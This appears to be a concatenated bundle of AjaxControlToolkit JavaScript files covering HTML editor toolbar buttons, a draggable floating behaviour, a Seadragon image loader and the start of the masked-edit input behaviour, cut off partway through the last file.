AjaxControlToolkit.HTMLEditor.ToolbarButton.BackColorSelector.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.BackColorSelector", AjaxControlToolkit.HTMLEditor.ToolbarButton.ColorSelector);

�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.BackColorClear = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.BackColorClear.initializeBase(this, [element]);
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.BackColorClear.prototype = {
    callMethod : function() {
        if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.BackColorClear.callBaseMethod(this, "callMethod")) return false;
        this._designPanel._execCommand("backcolor", false, "");
    }
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.BackColorClear.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.BackColorClear", AjaxControlToolkit.HTMLEditor.ToolbarButton.MethodButton);

� // (c) Copyright Microsoft Corporation.
// This source is subject to the Microsoft Public License.
// See http://www.microsoft.com/opensource/licenses.mspx#Ms-PL.
// All other rights reserved.


/// <reference name="MicrosoftAjax.debug.js" />
/// <reference name="MicrosoftAjaxTimer.debug.js" />
/// <reference name="MicrosoftAjaxWebForms.debug.js" />
/// <reference path="../ExtenderBase/BaseScripts.js" />
/// <reference path="../Common/Common.js" />
/// <reference path="../Compat/Timer/Timer.js" />
/// <reference path="../Compat/DragDrop/DragDropScripts.js" />


AjaxControlToolkit.FloatingBehavior = function(element) {
    AjaxControlToolkit.FloatingBehavior.initializeBase(this,[element]);
    
    var _handle;
    var _location;
    var _dragStartLocation;
    var _profileProperty;
    var _profileComponent;
    
    var _mouseDownHandler = Function.createDelegate(this, mouseDownHandler);
    
    this.add_move = function(handler) {
        this.get_events().addHandler('move', handler);
    }
    this.remove_move = function(handler) {
        this.get_events().removeHandler('move', handler);
    }
    
    this.get_handle = function() {
        return _handle;
    }
    this.set_handle = function(value) {
        if (_handle != null) {
            $removeHandler(_handle, "mousedown", _mouseDownHandler);            
        }
    
        _handle = value;
        $addHandler(_handle, "mousedown", _mouseDownHandler);        
    }
    
    this.get_profileProperty = function() {
        return _profileProperty;
    }
    this.set_profileProperty = function(value) {
        //##DEBUG Sys.Debug.assert(!this.get_isInitialized() || _profileProperty === value, "You cannot change the profile property after initialization.");
        _profileProperty = value;
    }
    
    this.get_profileComponent = function() {
        return _profileComponent;
    }
    this.set_profileComponent = function(value) {
        _profileComponent = value;
    }
    
    this.get_location = function() {
        return _location;
    }
    this.set_location = function(value) {
        if (_location != value) {
            _location = value;
            if (this.get_isInitialized()) {                
                $common.setLocation(this.get_element(), _location);
            }
            this.raisePropertyChanged('location');
        }
    }
    
    this.initialize = function() {
        AjaxControlToolkit.FloatingBehavior.callBaseMethod(this, 'initialize');
        AjaxControlToolkit.DragDropManager.registerDropTarget(this);

        var el = this.get_element();
        
        if (!_location) {                       
            _location = $common.getLocation(el);
        }
        
        el.style.position = "fixed";
        $common.setLocation(el, _location);

        $common.appendElementToFormOrBody(el);

//        var p = this.get_profileProperty();
//        if(p) {
//            var b = new Sys.Preview.Binding();
//            b.beginUpdate();
//            b.set_target(this);
//            b.set_property("location");
//            var profile = this.get_profileComponent();
//            if(!profile) profile = Sys.Preview.Services.Components.Profile.instance;
//            b.set_dataContext(profile);
//            b.set_dataPath(p);
//            b.set_direction(Sys.Preview.BindingDirection.InOut);            
//                      
//            // we must hook into the loaded event since the profile may be loaded and the location property
//            // will be different. But profile doesnt raise a change notificaiton for every property after a load
//            var a = new Sys.Preview.InvokeMethodAction();
//            a.beginUpdate();
//            a.set_eventSource(profile);
//            a.set_eventName("loadComplete");
//            a.set_target(b);
//            a.set_method("evaluateIn");

//            a.endUpdate();
//            b.endUpdate();

//            this._binding = b;
//            this._action = a;
//        }
    }
    
    this.dispose = function() {
        AjaxControlToolkit.DragDropManager.unregisterDropTarget(this);
        if (_handle && _mouseDownHandler) {
            $removeHandler(_handle, "mousedown", _mouseDownHandler);
            //_handle.detachEvent("onmousedown", _mouseDownHandler);
        }
        _mouseDownHandler = null;
        AjaxControlToolkit.FloatingBehavior.callBaseMethod(this, 'dispose');
    }
    
    this.checkCanDrag = function(element) {
        var undraggableTagNames = ["input", "button", "select", "textarea", "label"];
        var tagName = element.tagName;
        
        if ((tagName.toLowerCase() == "a") && (element.href != null) && (element.href.length > 0)) {
            return false;
        }
        if (Array.indexOf(undraggableTagNames, tagName.toLowerCase()) > -1) {
            return false;
        }
        return true;
    }
    
    function mouseDownHandler(ev) {
        window._event = ev;
        var el = this.get_element();
        
        if (this.checkCanDrag(ev.target)) {
            _dragStartLocation = $common.getLocation(el);
            
            ev.preventDefault();
            
            this.startDragDrop(el);
        }
    }

    // Type get_dataType()
    this.get_dragDataType = function() {
        return "_floatingObject";
    }
    
    // Object get_data(Context)
    this.getDragData = function(context) {
        return null;
    }
    
    // DragMode get_dragMode()
    this.get_dragMode = function() {
        return AjaxControlToolkit.DragMode.Move;
    }
    
    // void onDragStart()
    this.onDragStart = function() { }
    
    // void onDrag()
    this.onDrag = function() { }
    
    // void onDragEnd(Canceled)
    this.onDragEnd = function(canceled) {
        if (!canceled) {
            var handler = this.get_events().getHandler('move');
            if(handler) {
                var cancelArgs = new Sys.CancelEventArgs();
                handler(this, cancelArgs);
                canceled = cancelArgs.get_cancel();
            }            
        }
        
        var el = this.get_element();
        if (canceled) {
            // Restore the position of the control.
            $common.setLocation(el, _dragStartLocation);
        } else {
            _location = $common.getLocation(el);
            this.raisePropertyChanged('location');
        }
    }
    
    this.startDragDrop = function(dragVisual) {
        AjaxControlToolkit.DragDropManager.startDragDrop(this, dragVisual, null);
    }
    
    this.get_dropTargetElement = function() {
        return document.body;
    }
    
    // bool canDrop(DragMode, DataType, Data)
    this.canDrop = function(dragMode, dataType, data) {
        return (dataType == "_floatingObject");
    }
    
    // void drop(DragMode, DataType, Data)
    this.drop = function(dragMode, dataType, data) {}
    
    // void onDragEnterTarget(DragMode, DataType, Data)
    this.onDragEnterTarget = function(dragMode, dataType, data) {}
    
    // void onDragLeaveTarget(DragMode, DataType, Data)
    this.onDragLeaveTarget = function(dragMode, dataType, data) {}
    
    // void onDragInTarget(DragMode, DataType, Data)
    this.onDragInTarget = function(dragMode, dataType, data) {}
}
//AjaxControlToolkit.FloatingBehavior.descriptor = {
//    properties: [   {name: "profileProperty", type: String},
//                    {name: "profileComponent", type: Object},
//                    {name: "dragData", type: Object, readOnly: true},
//                    {name: "dragDataType", type: String, readOnly: true},
//                    {name: "dragMode", type: AjaxControlToolkit.DragMode, readOnly: true},
//                    {name: "dropTargetElement", type: Object, readOnly: true},
//                    {name: "handle", type: Sys.UI.DomElement},
//                    {name: "location", type: String} ],
//    events: [   {name: "move"} ]
//}
AjaxControlToolkit.FloatingBehavior.registerClass('AjaxControlToolkit.FloatingBehavior', AjaxControlToolkit.BehaviorBase, AjaxControlToolkit.IDragSource, AjaxControlToolkit.IDropTarget, Sys.IDisposable);
�Type.registerNamespace("AjaxControlToolkit.Seadragon");AjaxControlToolkit.Seadragon.Job=function(c,b){var a=this;a._image=null;a._timeout=null;a._src=c;a._callback=b;a.TIMEOUT=5e3};AjaxControlToolkit.Seadragon.Job.prototype={_finish:function(d){var b=null,a=this;a._image.onload=b;a._image.onabort=b;a._image.onerror=b;a._timeout&&window.clearTimeout(a._timeout);var e=a._image,c=a._callback;window.setTimeout(function(){c(this._src,d?e:b)},1)},_onloadHandler:function(){this._finish(true)},_onerrorHandler:function(){this._finish(false)},start:function(){var a=this;a._image=new Image;a._image.onload=Function.createDelegate(a,a._onloadHandler);a._image.onabort=Function.createDelegate(a,a._onerrorHandler);a._image.onerror=Function.createDelegate(a,a._onerrorHandler);a._timeout=window.setTimeout(Function.createDelegate(a,a._onerrorHandler),a.TIMEOUT);a._image.src=a._src}};AjaxControlToolkit.Seadragon.Job.registerClass("AjaxControlToolkit.Seadragon.Job",null,Sys.IDisposable);AjaxControlToolkit.Seadragon.ImageLoader=function(a){this._downloading=0;this.imageLoaderLimit=a};AjaxControlToolkit.Seadragon.ImageLoader.prototype={_onComplete:function(a,c,b){this._downloading--;if(typeof a=="function")try{a(b)}catch(d){Seadragon.Debug.error(d.name+" while executing "+c+" callback: "+d.message,d)}},loadImage:function(e,b){var a=this;if(a._downloading>=a.imageLoaderLimit)return false;var c=Seadragon.Utils.createCallback(null,Function.createDelegate(a,a._onComplete),b),d=new AjaxControlToolkit.Seadragon.Job(e,c);a._downloading++;d.start();return true}};AjaxControlToolkit.Seadragon.ImageLoader.registerClass("AjaxControlToolkit.Seadragon.ImageLoader",null,Sys.IDisposable);�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.PreviewMode=function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.PreviewMode.initializeBase(this,[a])};AjaxControlToolkit.HTMLEditor.ToolbarButton.PreviewMode.prototype={};AjaxControlToolkit.HTMLEditor.ToolbarButton.PreviewMode.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.PreviewMode",AjaxControlToolkit.HTMLEditor.ToolbarButton.ModeButton);�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.PasteText=function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.PasteText.initializeBase(this,[a])};AjaxControlToolkit.HTMLEditor.ToolbarButton.PasteText.prototype={callMethod:function(){if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.PasteText.callBaseMethod(this,"callMethod"))return false;var a=this._designPanel;if(AjaxControlToolkit.HTMLEditor.isIE){a._saveContent();a.openWait();setTimeout(function(){a._paste(false);a.closeWait()},0)}else{var b=a._getSelection(),d=a._createRange(b),c=String.format(AjaxControlToolkit.Resources.HTMLEditor_toolbar_button_Use_verb,AjaxControlToolkit.HTMLEditor.isSafari&&navigator.userAgent.indexOf("mac")!=-1?"Apple-V":"Ctrl-V"),e=String.format(AjaxControlToolkit.Resources.HTMLEditor_toolbar_button_OnPastePlainText,c);alert(e);setTimeout(function(){a._removeAllRanges(b);a._selectRange(b,d)},0);a.isPlainText=true}}};AjaxControlToolkit.HTMLEditor.ToolbarButton.PasteText.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.PasteText",AjaxControlToolkit.HTMLEditor.ToolbarButton.MethodButton);�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.ForeColorClear=function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.ForeColorClear.initializeBase(this,[a])};AjaxControlToolkit.HTMLEditor.ToolbarButton.ForeColorClear.prototype={callMethod:function(){if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.ForeColorClear.callBaseMethod(this,"callMethod"))return false;this._designPanel._execCommand("forecolor",false,"")}};AjaxControlToolkit.HTMLEditor.ToolbarButton.ForeColorClear.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.ForeColorClear",AjaxControlToolkit.HTMLEditor.ToolbarButton.MethodButton);�!Type.registerNamespace("AjaxControlToolkit");AjaxControlToolkit.MaskedEditBehavior=function(f){var c=null,d=false,e=true,b="",a=this;AjaxControlToolkit.MaskedEditBehavior.initializeBase(a,[f]);a._Mask=b;a._MaskType=AjaxControlToolkit.MaskedEditType.None;a._Filtered=b;a._PromptChar="_";a._InputDirection=AjaxControlToolkit.MaskedEditInputDirections.LeftToRight;a._MessageValidatorTip=e;a._ShowMessageErrorFloat=d;a._CssMessageErrorFloat=b;a._AutoComplete=e;a._AutoCompleteValue=b;a._ClearTextOnInvalid=d;a._ClearMaskOnLostfocus=e;a._AcceptAmPm=AjaxControlToolkit.MaskedEditShowSymbol.None;a._AcceptNegative=AjaxControlToolkit.MaskedEditShowSymbol.None;a._DisplayMoney=AjaxControlToolkit.MaskedEditShowSymbol.None;a._OnFocusCssClass="MaskedEditFocus";a._OnInvalidCssClass="MaskedEditError";a._OnFocusCssNegative="MaskedEditFocusNegative";a._OnBlurCssNegative="MaskedEditBlurNegative";a._CultureName=b;a._UserDateFormat=AjaxControlToolkit.MaskedEditUserDateFormat.None;a._UserTimeFormat=AjaxControlToolkit.MaskedEditUserTimeFormat.None;a._CultureDatePlaceholder=b;a._CultureTimePlaceholder=b;a._CultureDecimalPlaceholder=b;a._CultureThousandsPlaceholder=b;a._CultureDateFormat=b;a._CultureCurrencySymbolPlaceholder=b;a._CultureAMPMPlaceholder=b;a._AMPMPlaceholderSeparator=";";a._Century=1900;a._AllowCopyPaste=e;a._ClipboardText=AjaxControlToolkit.Resources.Shared_BrowserSecurityPreventsPaste;a._CharsEditMask="9L$CAN?";a._CharsSpecialMask="/:.,";a._MaskConv=b;a._EmptyMask=b;a._maskvalid=b;a._DirectSelText=b;a._initialvalue=b;a._LogicSymbol=b;a._LogicTextMask=b;a._LogicMask=b;a._LogicMaskConv=b;a._LogicPrompt=String.fromCharCode(1);a._LogicEscape=String.fromCharCode(2);a._LogicFirstPos=-1;a._LogicLastPos=-1;a._LogicLastInt=-1;a._QtdValidInput=0;a._InLostfocus=d;a._ExternalMessageError=b;a._CurrentMessageError=b;a._FiringOnChange=d;a._ErroOnEnter=d;a._charLetters="ABCDEFGHIJKLMNOPQRSTUVWXYZ";a._charNumbers="0123456789";a._charEscape="\\";a._DelimitStartDup="{";a._DelimitEndDup="}";a._focusHandler=c;a._keypressdown=c;a._keypressHandler=c;a._blurHandler=c;a._mouseOutHandler=c;a._mouseOutHandler=c;a._mouseMoveHandler=c;a._mouseEnterHandler=c;a._changeHandler=c;a._timer=c;a._timerHandler=c;a._SaveSymb=b;a._SaveText=b;a._SavePosi=-1;a._SaveMask=b;a._SaveKeyDown=0};AjaxControlToolkit.MaskedEditBehavior.prototype={initialize:function(){var c=true,a=this,b=a.get_element();a._InLostfocus=c;AjaxControlToolkit.MaskedEditBehavior.callBaseMethod(a,"initialize");a._createMask();var e=false,f=a.get_ClientState();if(f!=null&&f!=""){e=f=="Focused";a.set_ClientState(null)}if(document.activeElement)if(b.id==document.activeElement.id)e=c;if(a._ShowMessageErrorFloat){a._mouseOutHandler=Function.createDelegate(a,a._onMouseOut);$addHandler(b,"mouseout",a._mouseOutHandler);a._mouseMoveHandler=Function.createDelegate(a,a._onMouseMove);$addHandler(b,"mousemove",a._mouseMoveHandler);a._mouseEnterHandler=Function.createDelegate(a,a._onMouseover);$addHandler(b,"mouseover",a._mouseEnterHandler)}if(!b.readOnly){a._keypressdown=Function.createDelegate(a,a._onKeyPressdown);$addHandler(b,"keydown",a._keypressdown);a._keypressHandler=Function.createDelegate(a,a._onKeyPress);$addHandler(b,"keypress",a._keypressHandler)}a._focusHandler=Function.createDelegate(a,a._onFocus);$addHandler(b,"focus",a._focusHandler);a._blurHandler=Function.createDelegate(a,a._onBlur);$addHandler(b,"blur",a._blurHandler);a._changeHandler=Function.createDelegate(a,a._onChange);$addHandler(b,"change",a._changeHandler);if(Sys.Browser.agent==Sys.Browser.Opera){a._timerHandler=Function.createDelegate(a,a._OnTimerTicket);a._timer=new Sys.Timer;a._timer.set_enabled(false);a._timer.set_interval(100);a._timer.add_tick(a._timerHandler);a._SaveText="";a._SavePosi=-1;a._timer.set_enabled(c)}var d=AjaxControlToolkit.TextBoxWrapper.get_Wrapper(b);if(a._ClearMaskOnLostfocus)a._InitValue(d.get_Value(),c);else a._InitValue(d.get_Value().substring(a._LogicFirstPos,a._LogicLastPos+1),c);if(e)a._onFocus();else{a._ClearMaskOnLostfocus&&d.set_Value(a._getClearMask(d.get_Value()));var g=a._CaptureServerValidators();if(!g)a._OnInvalidCssClass!=""&&a.AddCssClassMaskedEdit(a._OnInvalidCssClass)}},dispose:function(){var b=null,a=this,c=a.get_element();if(a._mouseOutHandler){$removeHandler(c,"mouseout",a._mouseOutHandler);a._mouseOutHandler=b}if(a._mouseMoveHandler){$removeHandler(c,"mousemove",a._mouseMoveHandler);a._mouseMoveHandler=b}if(a._mouseEnterHandler){$removeHandler(c,"mouseover",a._mouseEnterHandler);a._mouseEnterHandler=b}if(a._focusHandler){$removeHandler(c,"focus",a._focusHandler);a._focusHandler=b}if(a._focusHandler){$removeHandler(c,"focus",a._focusHandler);a._focusHandler=b}if(a._blurHandler){$removeHandler(c,"blur",a._blurHandler);a._blurHandler=b}if(a._changeHandler){$removeHandler(c,"change",a._changeHandler);a._changeHandler=b}if(a._keypressdown){$removeHandler(c,"keydown",a._keypressdown);a._keypressdown=b}if(a._keypressHandler){$removeHandler(c,"keypress",a._keypressHandler);a._keypressHandler=b}if(a._timerHandler){a._timer.set_enabled(false);a._timerHandler=b;a._timer.dispose();a._timer=b}AjaxControlToolkit.MaskedEditBehavior.callBaseMethod(a,"dispose")},_OnTimerTicket:function(){var a=this;a._SaveSymb="";if(a._InLostfocus)return;a._timer.set_enabled(false);var b=AjaxControlToolkit.TextBoxWrapper.get_Wrapper(a.get_element());if(a._SaveText!=""){b.set_Value(a._SaveText);a.setSelectionRange(a._SavePosi,a._SavePosi);a._SaveText="";a._SavePosi=-1;a._SaveMask=b.get_Value()}else{b.get_Value().length!=a._EmptyMask.length&&b.set_Value(a._SaveMask);a._timer.get_interval()!=100&&a._timer.set_interval(100)}a._timer.set_enabled(true)},_onChange:function(){!this._FiringOnChange&&this._onFocus()},_onFocus:function(){var b=false,a=this;a._InLostfocus=b;a._RemoveDivToolTip();a._OnFocusCssClass!=""&&a.AddCssClassMaskedEdit(a._OnFocusCssClass);var g=a.get_element(),d=AjaxControlToolkit.TextBoxWrapper.get_Wrapper(g);a._initialvalue=d.get_Value();if(a._ClearMaskOnLostfocus)a._InitValue(d.get_Value(),b);else a._InitValue(d.get_Value().substring(a._LogicFirstPos,a._LogicLastPos+1),b);var c=a._getClearMask(),e=b;if(a._MessageValidatorTip&&c=="")e=true;if((a._MaskType==AjaxControlToolkit.MaskedEditType.Time||a._MaskType==AjaxControlToolkit.MaskedEditType.DateTime)&&a.get_CultureAMPMPlaceholder()!=""&&c=="")a._AcceptAmPm&&a.InsertAMPM(a.get_CultureAMPMPlaceholder().substring(0,1));else if(a._MaskType==AjaxControlToolkit.MaskedEditType.Number&&c!="")a._LogicSymbol=="-"&&a._OnFocusCssNegative!=""&&a.AddCssClassMaskedEdit(a._OnFocusCssNegative);if(a._InputDirection==AjaxControlToolkit.MaskedEditInputDirections.RightToLeft)if(a._LogicLastInt!=-1)a.setSelectionRange(a._LogicLastInt,a._LogicLastInt);else a.setSelectionRange(a._LogicLastPos+1,a._LogicLastPos+1);else if(a._MaskType==AjaxControlToolkit.MaskedEditType.Number&&c!=""){var f=a._getLastEmptyPosition()+1;a.setSelectionRange(f,f)}else a.setSelectionRange(a._LogicFirstPos,a._LogicFirstPos);a.ShowTooltipMessage(b);e&&a.ShowTooltipMessage(true)},_PeforformValidLostFocus:function(e){var a=this,c=AjaxControlToolkit.TextBoxWrapper.get_Wrapper(a.get_element()),b=a._getClearMask(c.get_Value());b==""&&a._MaskType==AjaxControlToolkit.MaskedEditType.Number&&a._LogicSymbol=="-"&&a.InsertSignal("+");if(b!=""&&a._AutoComplete&&a._MaskType==AjaxControlToolkit.MaskedEditType.Date)a.AutoFormatDate();else if(b!=""&&a._AutoComplete&&a._MaskType==AjaxControlToolkit.MaskedEditType.Time)a.AutoFormatTime();else if(b!=""&&a._AutoComplete&&a._MaskType==AjaxControlToolkit.MaskedEditType.DateTime)a.AutoFormatDateTime();else b!=""&&a._AutoComplete&&a._MaskType==AjaxControlToolkit.MaskedEditType.Number&&a.AutoFormatNumber();(a._ClearMaskOnLostfocus&&b!=""||e&&a._ClearMaskOnLostfocus)&&c.set_Value(a._getClearMask(c.get_Value()));a.AddCssClassMaskedEdit("");a._MaskType==AjaxControlToolkit.MaskedEditType.Number&&a._LogicSymbol=="-"&&a._OnBlurCssNegative!=""&&a.AddCssClassMaskedEdit(a._OnBlurCssNegative);a.ShowTooltipMessage(false);a._RemoveDivToolTip();var d=a._CaptureClientsValidators();if(!d){a._OnInvalidCssClass!=""&&a.AddCssClassMaskedEdit(a._OnInvalidCssClass);if(a._ClearTextOnInvalid){a._createMask();c.set_Value(a._EmptyMask)}}return d},_onBlur:function(d){var a=this;a._InLostfocus=true;var b=a._PeforformValidLostFocus(true);if(b){var c=AjaxControlToolkit.TextBoxWrapper.get_Wrapper(a.get_element());!a.get_element().readOnly&&a._initialvalue!=c.get_Value()&&d&&a._fireChanged()}},_fireChanged:function(){this._FiringOnChange=true;var a=this.get_element();if(document.createEventObject)a.fireEvent("onchange");else if(document.createEvent){var b=document.createEvent("HTMLEvents");b.initEvent("change",true,true);a.dispatchEvent(b)}this._FiringOnChange=false},_onKeyPress:function(g){var d=false,e=true,a=this,h=a._KeyCode(g);if(h==9)return e;if(scanCode==13){var i=a._PeforformValidLostFocus(d);a._ErroOnEnter=d;if(!i)a._ErroOnEnter=e;if(Sys.Browser.agent==Sys.Browser.Opera){var j=AjaxControlToolkit.TextBoxWrapper.get_Wrapper(a.get_element());a._SaveText=j.get_Value();a._SavePosi=a._getCurrentPosition();a._timer.set_enabled(d);a._timer.set_interval(1);a._timer.set_enabled(e)}return i}a._OnFocusCssClass!=""&&a._ErroOnEnter&&a.AddCssClassMaskedEdit(a._OnFocusCssClass);a._ErroOnEnter=d;if(!a._isNormalChar(g,h)){a._ExecuteNav(g,h);return d}curpos=a._deleteTextSelection();if(curpos==-1)curpos=a._getCurrentPosition();var b=String.fromCharCode(scanCode);if(a._MaskType==AjaxControlToolkit.MaskedEditType.Date&&b==a.get_CultureDatePlaceholder())a._AdjustElementDate();else if(a._MaskType==AjaxControlToolkit.MaskedEditType.Time&&b==a.get_CultureTimePlaceholder())a._AdjustElementTime();else if(a._MaskType==AjaxControlToolkit.MaskedEditType.DateTime&&(b==a.get_CultureTimePlaceholder()||b==a.get_CultureDatePlaceholder()))a._AdjustElementDateTime(b);else if(a._MaskType==AjaxControlToolkit.MaskedEditType.Number&&a._InputDirection==AjaxControlToolkit.MaskedEditInputDirections.LeftToRight&&b==a.get_CultureDecimalPlaceholder()&&curpos==a._LogicLastInt)a._AdjustElementDecimalLTR();else if(a._MaskType==AjaxControlToolkit.MaskedEditType.Number&&a._InputDirection==AjaxControlToolkit.MaskedEditInputDirections.RightToLeft&&b==a.get_CultureDecimalPlaceholder()&&curpos==a._LogicLastInt)a._AdjustElementDecimalRTL();else if(a._MaskType==AjaxControlToolkit.MaskedEditType.Number&&b==a.get_CultureDecimalPlaceholder()&&curpos!=a._LogicLastInt)a._MoveDecimalPos();else if(a._MaskType==AjaxControlToolkit.MaskedEditType.Number&&a._InputDirection==AjaxControlToolkit.MaskedEditInputDirections.LeftToRight&&b==a.get_CultureThousandsPlaceholder())a._MoveThousandLTR();else if(a._MaskType==AjaxControlToolkit.MaskedEditType.Number&&a._InputDirection==AjaxControlToolkit.MaskedEditInputDirections.RightToLeft&&b==a.get_CultureThousandsPlaceholder())a._MoveThousandRTL();else if((a._MaskType==AjaxControlToolkit.MaskedEditType.Time||a._MaskType==AjaxControlToolkit.MaskedEditType.DateTime)&&a.get_CultureFirstLettersAMPM().toUpperCase().indexOf(b.toUpperCase())!=-1){if(a._AcceptAmPm){a.InsertAMPM(b);a.setSelectionRange(curpos,curpos)}}else if(a._MaskType==AjaxControlToolkit.MaskedEditType.Number&&a._AcceptNegative!=AjaxControlToolkit.MaskedEditShowSymbol.None&&"+-".indexOf(b)!=-1)if(Sys.Browser.agent!=Sys.Browser.Opera){a.InsertSignal(b);a.setSelectionRange(curpos,curpos)}else if(a._SaveSymb==""){a.InsertSignal(b);a.setSelectionRange(curpos,curpos);a._SaveSymb=b;a._timer.set_enabled(d);a._timer.set_interval(1);a._timer.set_enabled(e)}else a._SaveSymb="";else{var l=curpos;curpos=a._getNextPosition(curpos);var c=curpos;if(a._LogicLastInt!=-1&&a._InputDirection==AjaxControlToolkit.MaskedEditInputDirections.RightToLeft){if(l==a._LogicLastInt)c=a._getLastEmptyPosition()}else if(curpos>=a._LogicLastPos+1&&a._InputDirection==AjaxControlToolkit.MaskedEditInputDirections.RightToLeft)c=a._getLastEmptyPosition();if(a._processKey(c,b)){a._MessageValidatorTip&&a.ShowTooltipMessage(d);if(a._InputDirection==AjaxControlToolkit.MaskedEditInputDirections.LeftToRight){a._insertContent(b,c);curpos=a._getNextPosition(c+1)}else if(a._InputDirection==AjaxControlToolkit.MaskedEditInputDirections.RightToLeft)if(a._LogicLastInt==-1)if(curpos<a._LogicLastPos+1){a._insertContent(b,c);curpos=a._getNextPosition(c+1)}else{a._insertContentRight(b);curpos=a._LogicLastPos+1}else if(l!=a._LogicLastInt){a._insertContent(b,c);curpos=a._getNextPosition(c+1)}else{var j=AjaxControlToolkit.TextBoxWrapper.get_Wrapper(a.get_element()),f=a._getClearMask(j.get_Value());if(f!=""){var m=f.indexOf(a.get_CultureDecimalPlaceholder());if(m!=-1){var k=f.substring(0,m);if(k=="0"||k=="-0"){a.setSelectionRange(a._LogicLastInt-1,a._LogicLastInt);a._deleteTextSelection();curpos=a._LogicLastInt;a.setSelectionRange(curpos,curpos)}}}if(f==""&&b=="0")curpos=a._LogicLastInt;else{a._insertContentRight(b);curpos=a._LogicLastInt}}a.setSelectionRange(curpos,curpos)}}a._SetCancelEvent(g);return d},_onKeyPressdown:function(b){var a=this;a._InLostfocus&&a._onFocus(b);var c=a._KeyCode(b);if(c==9)return true;if(scanCode==13)return true;if(!a._isNormalChar(b,c))a._ExecuteNav(b,c);else if(Sys.Browser.agent==Sys.Browser.Opera)if(b.rawEvent.shiftKey&&!b.rawEvent.ctrlKey&&!b.rawEvent.altKey&&b.rawEvent.keyCode==45){var d=AjaxControlToolkit.TextBoxWrapper.get_Wrapper(a.get_element());a._SaveText=d.get_Value();a._SavePosi=a._getCurrentPosition();a._timer.set_enabled(false);a._timer.set_interval(1);a._timer.set_enabled(true)}},_onMouseOut:function(){this._RemoveDivToolTip()},_onMouseMove:function(b){var a=this;(a._InLostfocus||a._ErroOnEnter)&&a._ExternalMessageError!=""&&a._ShowDivToolTip(b)},_onMouseover:function(b){var a=this;!$get("DivMaskedEditTip_"+a.get_element().id)&&a._CaptureServerValidators();(a._InLostfocus||a._ErroOnEnter)&&a._ExternalMessageError!=""&&a._createDivToolTip(b,a._ExternalMessageError)},_ShowDivToolTip:function(e){var c="DivMaskedEditTip_",a=this,b=$get(c+a.get_element().id);if(!b){a._createDivToolTip(e,a._ExternalMessageError);b=$get(c+a.get_element().id)}var d=a._GetMousePos(e);b.style.left=d.x+1+"px";b.style.top=d.y+1+"px"},_GetMousePos:function(a){var d="number",b=0,c=0;if(typeof window.pageYOffset==d){c=window.pageYOffset;b=window.pageXOffset}else if(document.body&&(document.body.scrollLeft||document.body.scrollTop)){c=document.body.scrollTop;b=document.body.scrollLeft}else if(document.documentElement&&(document.documentElement.scrollLeft||document.documentElement.scrollTop)){c=document.documentElement.scrollTop;b=document.documentElement.scrollLeft}var e=0,f=0;if(typeof a.pageX==d){e=a.pageX;f=a.pageY}else if(typeof a.clientX==d){e=a.clientX;f=a.clientY}return {x:e+b,y:f+c}},_RemoveDivToolTip:function(){var a=$get("DivMaskedEditTip_"+this.get_element().id);a&&document.body.removeChild(a)},_createDivToolTip:function(e,f){var c="DivMaskedEditTip_",b=this,g=$get(c+b.get_element().id);if(!g){var a,d=b._GetMousePos(e);a=document.createElement("div");a.id=c+b.get_element().id;a.style.position="absolute";a.style.left=d.x+2+"px";a.style.top=d.y+2+"px";a.style.zIndex=99999;if(b._CssMessageErrorFloat==""){a.style.padding="3px 3px 3px 3px";a.style.border="Solid 1px #000000";a.style.backgroundColor="#FFFFEA";a.style.fontWeight="normal";a.style.fontSize="12px";a.style.fontFamily="Arial"}else a.className=b._CssMessageErrorFloat;a.innerHTML=f;a=document.body.insertBefore(a,document.body.firstChild)}},_ExecuteNav:function(b,c){var h=false,g=true,i="keypress",a=this;if(b.type=="keydown")if(Sys.Browser.agent==Sys.Browser.InternetExplorer){if((c==86||c==118)&&!b.shiftKey&&b.ctrlKey&&!b.altKey){a._SetCancelEvent(b);a._PasteFromClipBoard();return}if(b.shiftKey&&!b.ctrlKey&&!b.altKey&&b.keyCode==45){a._SetCancelEvent(b);a._PasteFromClipBoard();return}}if(Sys.Browser.agent!=Sys.Browser.InternetExplorer||b.type==i){if(b.rawEvent.shiftKey&&!b.rawEvent.ctrlKey&&!b.rawEvent.altKey&&b.rawEvent.keyCode==45){a._SetCancelEvent(b);a._PasteFromClipBoard();return}if(b.type==i&&(c==86||c==118)&&!b.shiftKey&&b.ctrlKey&&!b.altKey){a._SetCancelEvent(b);a._PasteFromClipBoard();return}}if(Sys.Browser.agent==Sys.Browser.InternetExplorer||b.type==i)if(c==8){a._SetCancelEvent(b);curpos=a._deleteTextSelection();if(curpos!=-1)a.setSelectionRange(curpos,curpos);else{curpos=a._getCurrentPosition();a._backspace(curpos);curpos=a._getPreviousPosition(curpos-1);a.setSelectionRange(curpos,curpos)}var e=AjaxControlToolkit.TextBoxWrapper.get_Wrapper(a.get_element());a._MessageValidatorTip&&e.get_Value()==a._EmptyMask&&a.ShowTooltipMessage(g);if(Sys.Browser.agent==Sys.Browser.Opera){a._SaveText=e.get_Value();a._SavePosi=curpos;a._timer.set_enabled(h);a._timer.set_interval(1);a._timer.set_enabled(g)}}else if(c==46||c==127){a._SetCancelEvent(b);var 